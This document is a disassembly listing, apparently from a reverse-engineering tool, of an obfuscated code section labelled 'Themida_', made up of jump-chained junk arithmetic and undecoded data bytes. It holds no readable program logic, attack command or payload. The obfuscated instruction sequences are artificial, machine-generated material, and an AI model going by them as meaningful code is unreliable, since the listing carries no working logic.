db 5Dh, 81h, 0C5h
dd 4, 4C581h, 2C870000h, 835F5C24h, 348702EEh, 89665C24h
dd 18E9240Ch, 8BFFFF6Ah, 36E92414h, 89FFFFB4h, 0BD55243Ch
dd 6F166522h, 565D5F55h, 6A62E9h, 64EE8100h, 583F9102h
dd 5962CE81h, 0A5E96854h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C1CF: ; CODE XREF: Themida_:0055D5F4j
add ecx, 4
jmp loc_55F51C
; ---------------------------------------------------------------------------
loc_55C1DA: ; CODE XREF: Themida_:00553578j
xchg edx, esi
jmp loc_553A9F
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C4835Dh, 4BBFBF57h, 0F9212CDAh, 0F181415Fh, 19EA2264h
dd 2D59C801h, 56751023h, 0EC81D829h, 4, 9CABE9h
db 0
; ---------------------------------------------------------------------------
loc_55C20D: ; CODE XREF: Themida_:0056271Cj
pop edx
xchg ebx, [esp]
pop esp
mov [esp], eax
mov eax, 50093880h
xor ecx, eax
pop eax
mov esi, ecx
pop ecx
and ecx, esi
pop esi
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_55C984
; ---------------------------------------------------------------------------
dw 0EDB9h
dd 316A8E36h, 0C28159CAh, 32FBCC75h, 0CE67DC05h, 7DACE96Ch
db 2 dup(0FFh)
word_55C246 dw 8B66h ; DATA XREF: Themida_:0055293Co
dd 0EC81240Ch, 4, 89241489h, 0BE5653E2h, 387962CDh, 0E9FE874Eh
dd 0FFFFD76Bh
; ---------------------------------------------------------------------------
loc_55C264: ; CODE XREF: Themida_:00565988j
push edx
mov edx, 5B724B5Bh
not edx
shl edx, 3
push edx
not dword ptr [esp]
jmp loc_55D4F3
; ---------------------------------------------------------------------------
dd 0E908E3C1h, 0FFFFBFEFh, 3304C483h, 3C31243Ch, 243C3324h
dd 6624248Bh, 9C242CD3h, 0FF6922E9h, 0BFC281FFh, 0E928E060h
dd 0FFFFB144h, 0EB81FB01h, 15EA4E27h, 240C8B5Fh, 0AE69E956h
dd 0E929FFFFh, 2B4E981h, 2C8B73FBh, 0E7895724h, 4C781h
dd 0C7810000h, 4, 0FFADF6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C2D5: ; CODE XREF: Themida_:005625E0j
mov [esp], esi
jmp loc_55E38B
; ---------------------------------------------------------------------------
align 2
dw 66F8h
aSu db '[ИЦЁ',0
db 2 dup(0), 0EBh
dd 81240C8Bh, 4C4h, 0C7EB8000h, 0B450C300h, 66D4F67Eh
dd 28000068h, 248A2424h, 0BDE95524h, 0B5000068h, 66C5FE7Eh
dd 1779E950h, 8B5F0000h, 0C483240Ch, 0B2EAE904h, 0F0010000h
dd 11B2055Eh, 0C80105E0h, 0E011B22Dh, 4260E905h, 0BD550000h
dd 66BD5823h, 32DFE9h
db 0
; ---------------------------------------------------------------------------
loc_55C341: ; CODE XREF: Themida_:00557737j
mov edi, 74332BA5h
jmp loc_56800A
; ---------------------------------------------------------------------------
loc_55C34B: ; CODE XREF: Themida_:0055EB5Ej
mov [esp], edi
jmp loc_55B7EC
; ---------------------------------------------------------------------------
loc_55C353: ; CODE XREF: Themida_:00557EFDj
sub ebx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
sub ebx, 1AEF0E70h
add ebx, edi
add ebx, 1AEF0E70h
push ecx
mov ecx, 4D5D03AEh
jmp loc_55A870
; ---------------------------------------------------------------------------
loc_55C378: ; CODE XREF: Themida_:0055D1EFj
and edx, 764F3FDFh
add edx, 9DF8C8A0h
add edx, edi
push eax
jmp loc_556EF1
; ---------------------------------------------------------------------------
dd 8324048Fh, 5B042404h, 1247BD55h, 0EAE91963h, 51FFFF92h
dd 0D472D8B9h, 0BCF9E96Ah, 14330000h, 3AB1E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C3B2: ; CODE XREF: Themida_:0055916Fj
push edx
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 72941460h
or ecx, 79952713h
add ecx, 0B4365EFh
dec ecx
add ecx, 792762A3h
sub eax, ecx
pop ecx
jmp loc_554DF5
; ---------------------------------------------------------------------------
loc_55C3E1: ; CODE XREF: Themida_:0055A12Aj
and ecx, 369A00FFh
xor ecx, 7802201Ah
inc ecx
xor ecx, 2FD243BEh
xor ebx, ecx
jmp loc_55A4EB
; ---------------------------------------------------------------------------
db 8Bh
dd 5452240Ch, 8324148Bh, 0BF5704C4h, 2CD900F4h, 7D80BA52h
dd 76E94F03h, 30000007h, 5418E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C41E: ; CODE XREF: Themida_:0055BC2Ej
push esp
pop eax
add eax, 4
push ecx
mov ecx, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
mov esp, [esp]
mov [esp], edi
push edx
mov edx, 72A97162h
mov edi, edx
pop edx
mov ecx, 8D568E9Eh
sub ecx, 3C6354CCh
add ecx, edi
jmp loc_559D54
; ---------------------------------------------------------------------------
dw 0C87h
dd 87D1F724h, 148B240Ch, 4C48324h, 6FFB68h, 24048900h
dd 5B31BB53h, 0B9513F02h, 621E146Fh, 384FE181h, 0B1E943ADh
dd 81FFFFF2h, 0AB1899EBh, 0DE015F4Ch, 0ADE94E5Bh
db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C48F: ; CODE XREF: Themida_:00557CF2j
xor ecx, [esp]
pop esp
jmp loc_55E47C
; ---------------------------------------------------------------------------
loc_55C498: ; CODE XREF: Themida_:00565C12j
mov [esp], eax
jmp loc_555AE1
; ---------------------------------------------------------------------------
loc_55C4A0: ; CODE XREF: Themida_:00553DCBj
mov edx, 504B0B29h
push edi
mov edi, 283D4450h
add edx, edi
jmp loc_566BCB
; ---------------------------------------------------------------------------
dw 0D2F7h
aZSP db '┤сИ|P',0
dw 5800h
dd 0FFF772E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C4C1: ; CODE XREF: Themida_:0055BE42j
pop edi
inc edx
xor edx, 0FFF4AD59h
sub ebx, edx
pop edx
add ebx, edi
push esi
mov esi, 1E3F0079h
add ebx, esi
mov esi, [esp]
add esp, 4
sub ebx, 368670E8h
jmp loc_557D70
; ---------------------------------------------------------------------------
loc_55C4E7: ; CODE XREF: Themida_:005664CFj
or ebp, 44D60F2Ah
sub ebp, 2A3970ACh
or ebp, 54481A28h
add ebp, 7D833153h
sub ebp, 2E9B79C7h
sub ebp, 638F2D22h
add edi, ebp
mov ebp, [esp]
add esp, 4
inc edi
and edi, 75992077h
sub edi, 57677590h
add edi, 56BD5F11h
add edi, 0E65661CAh
jmp loc_5628C9
; ---------------------------------------------------------------------------
loc_55C534: ; CODE XREF: Themida_:00567DBBj
push esp
pop ecx
add ecx, 4
add ecx, 4
push ecx
jmp loc_563864
; ---------------------------------------------------------------------------
loc_55C545: ; CODE XREF: Themida_:00565D5Dj
pop ebx
push eax
mov al, dh
mov [ebx], al
pop eax
jmp loc_560CE8
; ---------------------------------------------------------------------------
a_Hf3 db '_]h■3',0
align 4
dd 0BE243489h, 52142D2Dh, 0F51FC681h, 0ED812C37h, 5B9D6114h
dd 8ED1E9h, 0C5885100h, 5859EE88h, 0E959EE30h, 0FFFFDB08h
dd 5A2434FFh, 45AAE9h, 17FB800h, 0C8E91CE5h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C593: ; CODE XREF: Themida_:0055A4A1j
add ebp, 6816F182h
add esi, ebp
pop ebp
sub eax, 44ED59A1h
sub eax, esi
add eax, 44ED59A1h
pop esi
or edx, eax
jmp loc_5635AE
; ---------------------------------------------------------------------------
dd 8904EC83h, 268240Ch, 59000000h, 0E959CE29h, 0FFFF689Ch
dd 2474FF57h, 5AE95F04h, 5F000083h, 0B850F529h, 4BD15478h
dd 5E58C501h, 2C8BEA31h, 4EC8124h, 89000000h, 0E6892434h
dd 4C681h, 46E90000h, 5A0000BCh, 5B66FE30h, 0FF8EB5E9h
dd 241489FFh, 2CBF57h, 0E9570000h, 0FFFF81BFh, 0BA241489h
dd 45402647h, 0DD16EA81h, 0D009DAABh, 0A4E5E9h
db 0
; ---------------------------------------------------------------------------
loc_55C625: ; CODE XREF: Themida_:0055DAC3j
push 39AEh
jmp loc_56332A
; ---------------------------------------------------------------------------
byte_55C62F db 66h ; DATA XREF: Themida_:00552910o
dd 6824048Bh, 61B2h, 54241489h, 8EBD555Ah, 0E95A5E18h
dd 81E4h
dword_55C648 dd 24143166h, 24143366h, 24143166h, 8F89E9h, 81E92900h
; DATA XREF: Themida_:00552B10o
dd 946606C1h, 51415D0Ch, 9549E9h
db 0
; ---------------------------------------------------------------------------
loc_55C669: ; CODE XREF: Themida_:00563659j
mov eax, [esp]
push edx
push esp
jmp loc_552E01
; ---------------------------------------------------------------------------
db 0FFh
a4S6i db '4$И6I',0
dw 5B00h
dd 0E904EC83h, 0FFFFE840h, 4EC815Bh, 89000000h, 9AB02404h
dd 6606E8C0h, 28000068h, 0EDE92404h
db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C69F: ; CODE XREF: Themida_:00564FA2j
xchg eax, [esp]
pop esp
mov [esp], ebx
push 5CD76490h
jmp loc_55F300
; ---------------------------------------------------------------------------
loc_55C6B0: ; CODE XREF: Themida_:0055F193j
shr bl, 2
or bl, 0C0h
shl bl, 5
jmp loc_5589D7
; ---------------------------------------------------------------------------
loc_55C6BE: ; CODE XREF: Themida_:0055EA6Dj
pop esp
push eax
jmp loc_55A4F3
; ---------------------------------------------------------------------------
loc_55C6C5: ; CODE XREF: Themida_:00564522j
push ebx
jmp loc_55BEF2
; ---------------------------------------------------------------------------
db 0BAh
dd 36956757h, 0F75AD729h, 31F781DFh, 314FD17Eh, 0F7015FFEh
dd 9E86E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C6E6: ; CODE XREF: Themida_:00564CF4j
mov edx, ebp
pop ebp
sub edx, 1
or edx, 6C8A417Ah
jmp loc_56245F
; ---------------------------------------------------------------------------
loc_55C6FA: ; CODE XREF: Themida_:005625B0j
xor ebx, 6FF15890h
shl ebx, 6
push edx
push ecx
push 7F301CBCh
mov ecx, [esp]
add esp, 4
add ecx, 0A30A3866h
mov edx, ecx
jmp loc_56306F
; ---------------------------------------------------------------------------
db 50h, 0E9h, 82h
dd 59FFFF80h, 1458E9h, 3DC58000h, 0A4B25266h, 5A66D530h
dd 0E9F4F580h, 21FAh, 4C481h, 0CE010000h, 83240C8Bh, 0D7E904C4h
dd 5C000021h, 68243489h, 2DA3694h, 98B8505Eh, 2D57C358h
dd 16E20061h, 0E958C631h, 2DFCh, 4E9E289h, 5700000Bh, 2BFh
dd 5FFA0100h, 31241433h, 14332414h, 1B0DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C78A: ; CODE XREF: Themida_:00561F3Fj
pop edx
xchg ebp, [esp]
pop esp
add ebp, 2
push ebp
push dword ptr [esp+4]
jmp loc_5598D3
; ---------------------------------------------------------------------------
db 1
dd 2434FFFDh, 0E389535Fh, 0E904EC83h, 9B8Ch
; ---------------------------------------------------------------------------
loc_55C7B0: ; CODE XREF: Themida_:00566059j
push esi
push 6E3Ch
mov [esp], ecx
mov ecx, 71C30187h
push esi
push edx
jmp loc_55B529
; ---------------------------------------------------------------------------
db 0BFh, 4, 0
dd 0EB810000h, 6B322C08h, 0C381FB01h, 6B322C08h, 241C875Fh
dd 24048F5Ch, 924248Bh, 0E99C2404h, 0FFFF63CFh, 6509E951h
dd 815FFFFFh, 4ECh, 242C8900h, 4BDh, 5DE90100h, 5C240C87h
dd 553068h, 243C8900h, 6C69E9h, 240C3100h, 8B240C33h, 85662424h
dd 94E99CC8h
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C827: ; CODE XREF: Themida_:00562565j
push 2ED2h
mov [esp], eax
push 4668h
mov [esp], ebp
mov ebp, 3481010Ah
xor [esp+4], ebp
pop ebp
push dword ptr [esp]
jmp loc_553A40
; ---------------------------------------------------------------------------
db 81h, 0C5h, 0DBh
dd 29DD7BF3h, 242C8BEFh, 4C481h, 0EFC10000h, 0C9C78106h
dd 1243B89h, 55E95FFBh
db 0A4h, 2 dup(0FFh)
byte_55C86B db 64h ; DATA XREF: Themida_:00552B24o
dd 48E932FFh
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C873: ; CODE XREF: Themida_:0055539Ej
mov edx, eax
mov eax, [esp]
add esp, 4
push 6D18h
mov [esp], edx
xor [esp], esi
xor esi, [esp]
xor [esp], esi
not esi
xor [esp], esi
xor esi, [esp]
xor [esp], esi
push dword ptr [esp]
mov edx, [esp]
jmp loc_55F070
; ---------------------------------------------------------------------------
loc_55C8A5: ; CODE XREF: Themida_:00566167j
push edx
mov edx, 29B23BB5h
push esi
mov esi, 17193B0Ah
and esi, 6E2C2175h
sub esi, 0ACECFABCh
or edx, esi
pop esi
add edx, 303615EBh
jmp loc_556671
; ---------------------------------------------------------------------------
loc_55C8CB: ; CODE XREF: Themida_:005568D3j
xchg eax, edx
neg edx
xchg eax, edx
shr eax, 2
shr eax, 5
shl eax, 3
jmp loc_55F758
; ---------------------------------------------------------------------------
db 81h, 0CDh, 83h
dd 50776501h, 0A143FEB8h, 0AE530506h, 0C50181F9h, 0FF70EFE9h
dd 0CB015DFFh, 8BDE3159h, 0C483241Ch, 8BF30104h, 0F6E92434h
dd 0C1FFFFB0h, 0D9F705E9h, 4053C181h, 0E6E92693h, 57000022h
dd 862239BFh, 90F7817Dh, 81100802h, 0F224C4C7h, 69EF8151h
dd 2DBF8045h, 5128002Ah, 41797D2Dh, 0E9F8012Dh, 907Bh
dd 0E904EC83h, 0B5C8h, 5C241C87h, 0FFF8F381h, 0C1816C1Fh
dd 171D7724h, 0ACE4E9h, 0E9EE0100h, 0FFFFCC1Ch, 81240C8Bh
dd 4C4h, 5592E900h, 0E95C0000h, 0FFFF7C00h, 0E95DEE89h
dd 607Eh
; ---------------------------------------------------------------------------
loc_55C984: ; CODE XREF: Themida_:0055C229j
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_556874
; ---------------------------------------------------------------------------
dd 34518025h, 16843508h, 80051BAFh, 29E464F9h, 148758C2h
dd 35E95C24h
db 0Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C9B3: ; CODE XREF: Themida_:0056041Dj
sub [esp+4], ebx
pop ebx
sub [esp], ebx
jmp loc_5553E8
; ---------------------------------------------------------------------------
dd 0B45634B8h, 58C7895Bh, 0DCE9FE29h
db 68h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C9CF: ; CODE XREF: Themida_:005652CAj
neg edx
push edi
jmp loc_55B300
; ---------------------------------------------------------------------------
loc_55C9D7: ; CODE XREF: Themida_:00556A88j
mov ebp, 4
sub ebx, ebp
pop ebp
jmp loc_566612
; ---------------------------------------------------------------------------
dword_55C9E4 dd 813C77FFh, 65C1242Ch, 0D1E91CC1h, 5EFFFF9Dh, 81E18951h
; DATA XREF: Themida_:00552ACCo
dd 4C1h, 99BFE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CA02: ; CODE XREF: Themida_:00561383j
pop ebp
add esp, 4
shr eax, 0Ah
xor eax, ecx
push 5580h
mov [esp], eax
xchg ecx, [esp]
jmp loc_56544D
; ---------------------------------------------------------------------------
aYSgc db 'Y[ИG≈',0
db 0
; ---------------------------------------------------------------------------
loc_55CA25: ; CODE XREF: Themida_:0055BB55j
pop edx
mov dh, ah
jmp loc_565D5C
; ---------------------------------------------------------------------------
db 83h, 0C0h, 4
dd 0E9240487h, 9369h, 283A8FBDh, 2EBF5768h, 81274B55h
dd 335CFE7h, 0C1D7F746h, 0C78104E7h, 43A32198h, 565FFD01h
dd 0DDBA5257h, 0F745D633h, 23E281D2h, 0E926BA01h, 0FFFF82AFh
dd 1147A4BDh, 0A3ED8126h, 551D6C0Ah, 0FFA681E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CA7D: ; CODE XREF: Themida_:005681B6j
pop edi
add ecx, ebx
pop ebx
jmp loc_558A41
; ---------------------------------------------------------------------------
dw 0FF52h
dd 5A042474h, 5C24048Fh, 0FF6126E9h, 809EB6FFh, 7E940F6h
db 75h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CA9F: ; CODE XREF: Themida_:00552EE5j
mov esi, [esp]
add esp, 4
add esp, 4
mov edx, 33291201h
xor edx, ecx
mov ecx, [esp]
add esp, 4
and ecx, edx
jmp loc_55E1B0
; ---------------------------------------------------------------------------
loc_55CAC5: ; CODE XREF: Themida_:0055AA52j
mov eax, 704D52FFh
add ebx, eax
pop eax
jmp loc_559BFD
; ---------------------------------------------------------------------------
loc_55CAD2: ; CODE XREF: Themida_:00563175j
add esp, 4
mov ecx, [esp]
add esp, 4
push 2B0h
mov [esp], ebp
mov ebp, 1
add eax, ebp
pop ebp
push edx
jmp loc_559095
; ---------------------------------------------------------------------------
dd 5899C581h, 0FD010FC6h, 5899ED81h, 9AE90FC6h, 8F000060h
dd 0F5C2404h, 0EC83C8B7h, 54D7E904h, 0C5810000h, 4, 8704C583h
dd 0E95C242Ch, 496Ch, 0B151E600h, 59CE288Ah, 9D686658h
dd 1C89664Ch, 305FB324h, 305B66DEh, 88AAE9F3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CB46: ; CODE XREF: Themida_:00558491j
add ebp, 4
sub ebp, 2
jmp loc_556FB0
; ---------------------------------------------------------------------------
loc_55CB54: ; CODE XREF: Themida_:0055912Aj
push ebp
push ecx
jmp loc_5635EC
; ---------------------------------------------------------------------------
db 51h
dd 0FFF427E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CB61: ; CODE XREF: Themida_:00565EB3j
add esp, 4
push edx
push ebx
push 4D411917h
pop ebx
neg ebx
sub ebx, 8108AE79h
jmp loc_5657D7
; ---------------------------------------------------------------------------
dd 72D6CB81h, 0C3810DB5h, 39BDE964h, 0FFC6C9E9h, 5AD701FFh
dd 0FFB6BBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CB95: ; CODE XREF: Themida_:00563ADFj
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ecx
jmp loc_552EC1
; ---------------------------------------------------------------------------
loc_55CBA9: ; CODE XREF: Themida_:0056013Aj
mov [esp], ebx
jmp loc_5556A6
; ---------------------------------------------------------------------------
loc_55CBB1: ; CODE XREF: Themida_:00559B9Aj
mov [esp], edi
jmp loc_55F9DB
; ---------------------------------------------------------------------------
byte_55CBB9 db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0055295Co
dd 0F8E99C24h, 66FFFF5Fh, 0EE9FA31h, 51000063h, 801C6CB9h
dd 0E9CA2173h, 6624h, 24348B5Fh, 4C481h, 0F6810000h, 376C4C73h
dd 8BF53158h, 0C4832434h, 0E9E83104h, 0FFFFD97Ch
dword_55CBF8 dd 24048B66h, 19DBE9h, 54575800h, 0D1E9555Fh ; DATA XREF: Themida_:00552A2Co
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CC0B: ; CODE XREF: Themida_:0056749Fj
sub edi, 7B5A15E5h
sub edi, 0C4BFAA88h
sub esi, edi
pop edi
add esi, 0AF7DD9Bh
jmp loc_563A20
; ---------------------------------------------------------------------------
loc_55CC25: ; CODE XREF: Themida_:00567CD2j
mov ebp, 3ED37EAEh
not ebp
jmp loc_552FFA
; ---------------------------------------------------------------------------
loc_55CC31: ; CODE XREF: Themida_:0056501Ej
push dword ptr [esp]
jmp loc_55898A
; ---------------------------------------------------------------------------
db 5Ch, 81h, 0C4h
dd 4, 31243C33h, 57E9243Ch, 5A00006Ah, 5C24048Fh, 31243C33h
dd 3C33243Ch, 24248B24h, 36D668h, 240C8900h, 240C8B54h
dd 4C481h, 5BE90000h
db 40h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CC73: ; CODE XREF: Themida_:00561FE8j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
jmp loc_55367C
; ---------------------------------------------------------------------------
db 0B2h, 0D2h, 0E9h
dd 0FFFF9149h, 0A766E95Fh, 81450000h, 5A747CC5h, 51C58112h
dd 18805CEh, 242C8BEFh, 8AB68h, 24148900h, 0E904EC83h
dd 0A204h, 0B12BE952h, 0DD31FFFFh, 50E9815Bh, 129146Dh
dd 0D411E9E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CCCA: ; CODE XREF: Themida_:0055F156j
push esp
pop eax
push ebx
mov ebx, 61EF6744h
shl ebx, 8
sub ebx, 0EF6743FCh
add eax, ebx
pop ebx
jmp loc_553887
; ---------------------------------------------------------------------------
db 5Dh
dd 73E98159h, 0E97ECE49h, 0FFFF8870h, 0FF243C89h, 5F042474h
dd 0E924048Fh, 0FFFFA946h
; ---------------------------------------------------------------------------
loc_55CD00: ; CODE XREF: Themida_:0055EE47j
mov al, bl
jmp loc_5584B8
; ---------------------------------------------------------------------------
db 58h
dd 2474FF52h, 0B369E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CD12: ; CODE XREF: Themida_:00555883j
add esp, 4
jmp loc_55B5F9
; ---------------------------------------------------------------------------
dw 5755h
dd 0D30D1A68h, 2434FF5Fh, 4C4835Fh, 24148757h, 356E9h
dd 0C4815A00h, 4, 0E905EFC1h, 9702h, 2C281h, 0DE90000h
db 20h, 2 dup(0)
byte_55CD4B db 0FFh ; DATA XREF: Themida_:00552958o
dd 48B2434h, 4C48324h, 9CCFE955h, 0FE01FFFFh, 7DBBE9h
dd 24048B00h, 4C481h, 0D9050000h, 50332F2Dh, 0D889585Bh
dd 24348B5Bh, 52E68956h, 4BAh, 5AD60100h, 55D0E9h
db 0
; ---------------------------------------------------------------------------
loc_55CD89: ; CODE XREF: Themida_:0055AB07j
mov esi, 4
add edx, 72E343Dh
jmp loc_559653
; ---------------------------------------------------------------------------
loc_55CD99: ; CODE XREF: Themida_:0055D592j
push edi
jmp loc_562146
; ---------------------------------------------------------------------------
db 0B9h
dd 78B62A06h, 3F18141h, 178B62Ah, 2434FFCFh, 59545159h
dd 56C968h, 241C8900h, 4BBh, 0BBE98100h, 157357Ch, 908AE9D9h
dd 0E6C1FFFFh, 81DEF708h, 8B2BACEEh, 0D8EE8168h, 144005Eh
dd 554A5EF2h, 0CF5FA1BDh, 2E5C128h, 0C581D5F7h, 9B85404Eh
dd 0E95DEA01h, 74F7h, 24048F5Ch, 24248Bh, 0E99C2404h, 0FFFF5DAFh
dd 2587E953h, 0EF810000h, 615B7AB8h, 71E9EF29h
db 9, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CE1F: ; CODE XREF: Themida_:005537E9j
push 7709h
jmp loc_558C66
; ---------------------------------------------------------------------------
loc_55CE29: ; CODE XREF: Themida_:0055D4EEj
or edx, 62F94849h
sub edx, 945CA872h
sub ebx, edx
jmp loc_55727B
; ---------------------------------------------------------------------------
dd 8B243433h, 1662424h, 0E99C2404h, 0FFFF5D6Fh
; ---------------------------------------------------------------------------
loc_55CE4C: ; CODE XREF: Themida_:0056690Aj
push 47Bh
mov [esp], esi
push edx
jmp loc_55D6D9
; ---------------------------------------------------------------------------
loc_55CE5A: ; CODE XREF: Themida_:005664D8j
add esp, 4
push ecx
mov ecx, 1B1905F1h
sub eax, ecx
pop ecx
add eax, ecx
jmp loc_563366
; ---------------------------------------------------------------------------
dd offset dword_508358+310h
align 2
dw 489h
dd 634EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CE7A: ; CODE XREF: Themida_:005660E4j
push edx
jmp loc_5667D6
; ---------------------------------------------------------------------------
dd 0F281FA87h, 2E7D5802h, 3EEB6850h, 1589C97h, 0D50158C2h
dd 6E72E95Ah, 0EFC1FFFFh, 81EFD102h, 9EA0E9F7h, 0E9F80106h
dd 86D7h
; ---------------------------------------------------------------------------
loc_55CEAC: ; CODE XREF: Themida_:00558A98j
mov edx, 6A1B0830h
xor ebp, edx
pop edx
add ebp, 4332AC27h
xor esi, ebp
jmp loc_562DD6
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd offset byte_5904E9
dd 24348B00h, 4C481h, 0E9810000h, 38647B91h, 0FFE9CDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CEDD: ; CODE XREF: Themida_:00564FC5j
add eax, 695C4D48h
mov ecx, [esp]
jmp loc_55F892
; ---------------------------------------------------------------------------
dw 7401h
dd 0B1E90424h, 31FFFF6Eh, 0F28958C6h, 4180E9h, 2DD00100h
dd 77405F59h, 0AE7F292Dh, 0C5D1E911h, 0EDC1FFFFh, 12E58103h
dd 833FBD03h, 0DDF701EDh, 0FDFBED81h, 0EB01FCEEh, 76E9525Dh
dd 89000075h, 99E92434h, 59FFFF98h, 0FFAD2CE9h, 24048FFFh
dd 4BE56h, 21E90000h, 5D000001h, 453FE681h, 0F6812DCCh
dd 5BAE0A5Bh, 348BF029h, 3FE95524h
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CF5F: ; CODE XREF: Themida_:00558FA1j
mov edx, ebp
mov ebp, [esp]
add esp, 4
shl edx, 2
push 267Ch
mov [esp], eax
mov eax, 2A17C60h
sub edx, eax
pop eax
and edx, 610A3E4Ah
neg edx
push 1B6Bh
jmp loc_55938D
; ---------------------------------------------------------------------------
loc_55CF8C: ; CODE XREF: Themida_:00555BB0j
pop esp
mov ecx, [esp]
add esp, 4
and ecx, eax
jmp loc_55A19E
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0C3h
dd 4, 54A8E9h, 5EF00100h, 5A2434FFh, 4C481h, 148B0000h
dd 4C48324h, 4EC8355h, 0B8240489h, 5AC64F71h, 0BD155CBDh
dd 58C53119h, 8103EDC1h, 0FFFFFFEDh, 0D8BA52FFh, 810B0643h
dd 0D3396CAh, 0E9DAF742h, 0FFFFC48Ah, 840BC181h, 0CCE914B6h
dd 89FFFFB1h, 0CCBF243Ch, 8174F748h, 0CF49D9EFh, 0C1DFF76Bh
dd 0ABE902EFh, 57FFFF76h, 98632BBFh, 97F7810Eh, 4F7C2960h
dd 2A6FC781h, 0F781611Ah, 1FDDAF8Dh, 555FFE01h, 77079F68h
dd 0EDC15D3Fh, 0B8504D07h, 6F25AC75h, 0FF8DA6E9h, 243487FFh
dd 241C895Ch, 0D98858B3h, 28DD045Bh, 66DD2CC8h, 81240C8Bh
dd 2C4h, 4EC8300h, 0E9241489h, 0FFFFFA2Dh, 4247401h, 24148B5Eh
dd 815D5455h, 4C5h, 4C58100h, 87000000h, 84E9242Ch, 4A000062h
dd 0E9241487h, 3D60h, 6242C81h, 5B078D26h, 0FF665BE9h
dd 0E9F109FFh, 4EA0h, 4240481h, 0FF000000h, 29E92434h
dd 0FEFFFFE8h, 6E1C0C9h, 0CAE9D1F6h, 1000026h, 24FBE9EFh
db 2 dup(0)
word_55D0C6 dw 77FFh ; DATA XREF: Themida_:00552A78o
dd 58669D1Ch, 9C240418h, 0FF74F3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D0D5: ; CODE XREF: Themida_:00556984j
xor ecx, edx
pop edx
sub ebx, 256D6B4Ch
sub ebx, 45A327ECh
add ebx, ecx
jmp loc_5545DA
; ---------------------------------------------------------------------------
db 31h
dd 0D9295DEBh, 81E9015Bh, 753A6C1h, 2434FF7Fh, 4C4815Dh
dd 83000000h, 0C8702C1h, 0F7665C24h, 793AE9E9h, 0FA01FFFFh
dd 0DBC7815Fh, 0E953706Fh, 9AEBh
; ---------------------------------------------------------------------------
loc_55D120: ; CODE XREF: Themida_:0055FC0Cj
sub bl, 20h
sub bl, 7Ch
sub bl, al
jmp loc_567E9D
; ---------------------------------------------------------------------------
loc_55D12D: ; CODE XREF: Themida_:0056810Bj
add esp, 4
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edx
push 40000h
pop edx
jmp loc_5655CA
; ---------------------------------------------------------------------------
aQiss db 'Q┴АИ',0
dw 14h
dd 24148900h, 4BAh, 539AE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D162: ; CODE XREF: Themida_:00563CBDj
mov [esp], edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push eax
jmp loc_55E7B5
; ---------------------------------------------------------------------------
loc_55D180: ; CODE XREF: Themida_:0056677Ej
add edx, ecx
pop ecx
push dword ptr [esp]
pop ecx
add esp, 4
sub edx, 650F34E3h
jmp loc_55E615
; ---------------------------------------------------------------------------
aYhH db 'Yh',0Dh,'H',0
dw 0E900h
dd 0FFFF5F85h, 5C243487h, 1340F781h, 5AE95265h, 87FFFF7Dh
dd 0E95C242Ch, 0FFFF796Bh, 815EF101h, 4ECh, 242C8900h
dd 2BDh, 5DE90100h, 0E904EC83h, 0FFFF62F0h
; ---------------------------------------------------------------------------
loc_55D1D4: ; CODE XREF: Themida_:00558A57j
push ebx
mov ebx, 8B569B4h
or ebx, 457E5FB9h
xor ebx, 5EC26E00h
mov edx, ebx
pop ebx
xor edx, 703A2639h
jmp loc_55C378
; ---------------------------------------------------------------------------
loc_55D1F4: ; CODE XREF: Themida_:00559CB0j
sub edx, 9729E444h
xor ecx, edx
pop edx
jmp loc_55477E
; ---------------------------------------------------------------------------
dw 3F34h
dd 6604E0C0h, 303BB753h, 1C8B66F8h, 5C33E924h, 0C481FFFFh
dd 4, 0FFC7B4E9h, 0E95966FFh, 0A493h
; ---------------------------------------------------------------------------
loc_55D228: ; CODE XREF: Themida_:0055AFA5j
shr edx, 4
inc edx
sub edx, 306B70E9h
sub edx, 0D4E2CB66h
jmp loc_55852A
